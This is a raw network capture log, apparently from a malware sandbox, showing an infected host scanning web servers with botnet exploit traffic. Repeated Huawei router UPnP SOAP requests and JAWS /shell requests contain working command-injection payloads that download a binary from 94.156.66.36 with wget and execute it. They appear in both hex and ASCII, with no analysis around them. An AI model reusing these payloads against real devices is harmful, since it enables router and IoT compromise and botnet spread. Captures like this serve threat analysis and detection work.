0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:28.053749084 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:40.085237980 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.15	45460	130.164.94.211	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:19.929531097 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:20.629878044 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:21.429780006 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:23.029798031 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:26.261704922 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:32.661448956 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:45.461057901 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.15	59724	107.180.54.249	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:20.155122995 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:21.205214977 CET	1286	IN	HTTP/1.1 404 Not Found Date: Wed, 13 Mar 2024 08:36:20 GMT Server: Apache X-Powered-By: PHP/7.2.34 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://awesometicity.us/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 32 38 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 32 39 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 32 39 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 33 30 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 33 33 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 73 63 68 65 6d 65 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 35 34 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 68 6f 73 74 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6d 6d 7a 68 32 77 66 7a 64 76 64 31 2f 70 75 62 6c 69 Data Ascii: <br /><b>Notice</b>: Undefined index: host in <b>/home/mmzh2wfzdvd1/public_html/wp-includes/canonical.php</b> on line <b>528</b><br /><br /><b>Notice</b>: Undefined index: host in <b>/home/mmzh2wfzdvd1/public_html/wp-includes/canonical.php</b> on line <b>529</b><br /><br /><b>Notice</b>: Undefined index: host in <b>/home/mmzh2wfzdvd1/public_html/wp-includes/canonical.php</b> on line <b>529</b><br /><br /><b>Notice</b>: Undefined index: host in <b>/home/mmzh2wfzdvd1/public_html/wp-includes/canonical.php</b> on line <b>530</b><br /><br /><b>Notice</b>: Undefined index: host in <b>/home/mmzh2wfzdvd1/public_html/wp-includes/canonical.php</b> on line <b>533</b><br /><br /><b>Notice</b>: Undefined index: scheme in <b>/home/mmzh2wfzdvd1/public_html/wp-includes/canonical.php</b> on line <b>554</b><br /><br /><b>Notice</b>: Undefined index: host in <b>/home/mmzh2wfzdvd1/publi
Mar 13, 2024 09:36:21.205254078 CET	1286	IN	Data Raw: 63 5f 68 74 6d 6c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 61 6e 6f 6e 69 63 61 6c 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 35 32 38 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e Data Ascii: c_html/wp-includes/canonical.php</b> on line <b>528</b><br /><br /><b>Notice</b>: Undefined index: host in <b>/home/mmzh2wfzdvd1/public_html/wp-includes/canonical.php</b> on line <b>529</b><br /><br /><b>Notice</b>: Undefined index: host
Mar 13, 2024 09:36:21.205291033 CET	1286	IN	Data Raw: 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 77 65 73 6f 6d 65 74 69 63 69 74 79 2e 75 73 2f 66 65 65 64 2f 22 20 2f 3e Data Ascii: pplication/rss+xml" title=" » Feed" href="https://awesometicity.us/feed/" /><link rel="alternate" type="application/rss+xml" title=" » Comments Feed" href="https://awesometicity.us/comments/feed/" /><script type="text/javascrip
Mar 13, 2024 09:36:21.205328941 CET	1286	IN	Data Raw: 30 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 32 33 2c 38 32 30 33 2c 35 36 31 32 38 2c 35 36 34 34 37 5d 29 29 3b 63 61 73 65 22 65 6d 6f 6a 69 22 3a 72 65 74 75 72 6e 21 63 28 5b 35 35 33 35 37 2c 35 36 34 32 34 2c 35 35 33 35 36 2c 35 37 33 Data Ascii: 0,8203,56128,56423,8203,56128,56447]));case"emoji":return!c([55357,56424,55356,57342,8205,55358,56605,8205,55357,56424,55356,57340],[55357,56424,55356,57342,8203,55358,56605,8203,55357,56424,55356,57340])}return!1}function d(e){var t=a.createE
Mar 13, 2024 09:36:21.205368042 CET	1286	IN	Data Raw: 74 61 6e 74 3b 0a 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 68 65 69 67 68 74 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 Data Ascii: tant;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em !important;background: none !important;padding: 0 !important;}</style><
Mar 13, 2024 09:36:21.205406904 CET	1286	IN	Data Raw: 7b 63 6f 6c 6f 72 3a 23 36 38 36 38 36 38 3b 7d 0a 2e 68 65 72 6f 2c 2e 68 65 72 6f 20 2e 77 69 64 67 65 74 20 68 31 2c 2e 68 65 72 6f 20 2e 77 69 64 67 65 74 20 68 32 2c 2e 68 65 72 6f 20 2e 77 69 64 67 65 74 20 68 33 2c 2e 68 65 72 6f 20 2e 77 Data Ascii: {color:#686868;}.hero,.hero .widget h1,.hero .widget h2,.hero .widget h3,.hero .widget h4,.hero .widget h5,.hero .widget h6,.hero .widget p,.hero .widget blockquote,.hero .widget cite,.hero .widget table,.hero .widget ul,.hero .widget ol,.her
Mar 13, 2024 09:36:21.205445051 CET	1286	IN	Data Raw: 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 70 61 73 73 77 6f 72 64 22 5d 3a 66 6f 63 75 73 2c 69 6e 70 75 Data Ascii: nput[type="email"]:focus,input[type="url"]:focus,input[type="password"]:focus,input[type="search"]:focus,input[type="number"]:focus,input[type="tel"]:focus,input[type="range"]:focus,input[type="date"]:focus,input[type="month"]:focus,input[type
Mar 13, 2024 09:36:21.205482006 CET	1286	IN	Data Raw: 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 68 31 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 68 32 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 68 33 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 68 34 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 68 35 2c 2e 73 Data Ascii: .site-footer h1,.site-footer h2,.site-footer h3,.site-footer h4,.site-footer h5,.site-footer h6{color:#353535;}.footer-widget-area .footer-widget .widget-title:after{background:#353535;}.site-footer .widget,.site-footer .widget form label{col
Mar 13, 2024 09:36:21.205519915 CET	1286	IN	Data Raw: 65 73 65 74 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 62 75 74 74 6f 6e 3a 61 63 74 69 Data Ascii: eset"],input[type="submit"]{background-color:transparent;}button:hover,button:active,button:focus,a.button:hover,a.button:active,a.button:focus,a.button:visited:hover,a.button:visited:active,a.button:visited:focus,.content-area .fl-builder-con
Mar 13, 2024 09:36:21.205557108 CET	1286	IN	Data Raw: 32 2c 20 32 30 33 2c 20 30 2e 38 29 3b 7d 0a 62 75 74 74 6f 6e 2c 62 75 74 74 6f 6e 3a 68 6f 76 65 72 2c 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 61 2e 62 75 74 74 6f 6e 2c 61 2e 62 75 74 74 6f 6e 3a 68 6f Data Ascii: 2, 203, 0.8);}button,button:hover,button:active,button:focus,a.button,a.button:hover,a.button:active,a.button:focus,a.button:visited,a.button:visited:hover,a.button:visited:active,a.button:visited:focus,input[type="button"],input[type="button
Mar 13, 2024 09:36:21.205590963 CET	470	IN	Data Raw: 7b 63 6f 6c 6f 72 3a 23 30 33 32 36 33 42 3b 7d 2e 68 61 73 2d 70 72 69 6d 61 72 79 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 33 32 36 33 42 3b 7d 0a 2e 68 61 73 2d 73 65 63 6f Data Ascii: {color:#03263B;}.has-primary-background-color{background-color:#03263B;}.has-secondary-color{color:#0b3954;}.has-secondary-background-color{background-color:#0b3954;}.has-tertiary-color{color:#bddae6;}.has-tertiary-background-color{backgroun

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.15	36730	23.33.17.143	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:20.216387987 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:20.371422052 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Wed, 13 Mar 2024 08:36:20 GMT Date: Wed, 13 Mar 2024 08:36:20 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 35 62 37 34 64 36 38 26 23 34 36 3b 31 37 31 30 33 31 38 39 38 30 26 23 34 36 3b 33 30 64 39 39 35 38 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.15b74d68.1710318980.30d9958b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.15	47598	23.208.190.247	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:20.286319017 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:20.510919094 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:36:20 GMT Date: Wed, 13 Mar 2024 08:36:20 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 66 31 63 32 38 63 38 26 23 34 36 3b 31 37 31 30 33 31 38 39 38 30 26 23 34 36 3b 32 36 37 30 39 61 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4f1c28c8.1710318980.26709a9</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.15	45372	57.180.159.193	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:20.437170982 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:20.720268011 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:36:20 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.15	57348	143.244.156.8	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:20.881165028 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
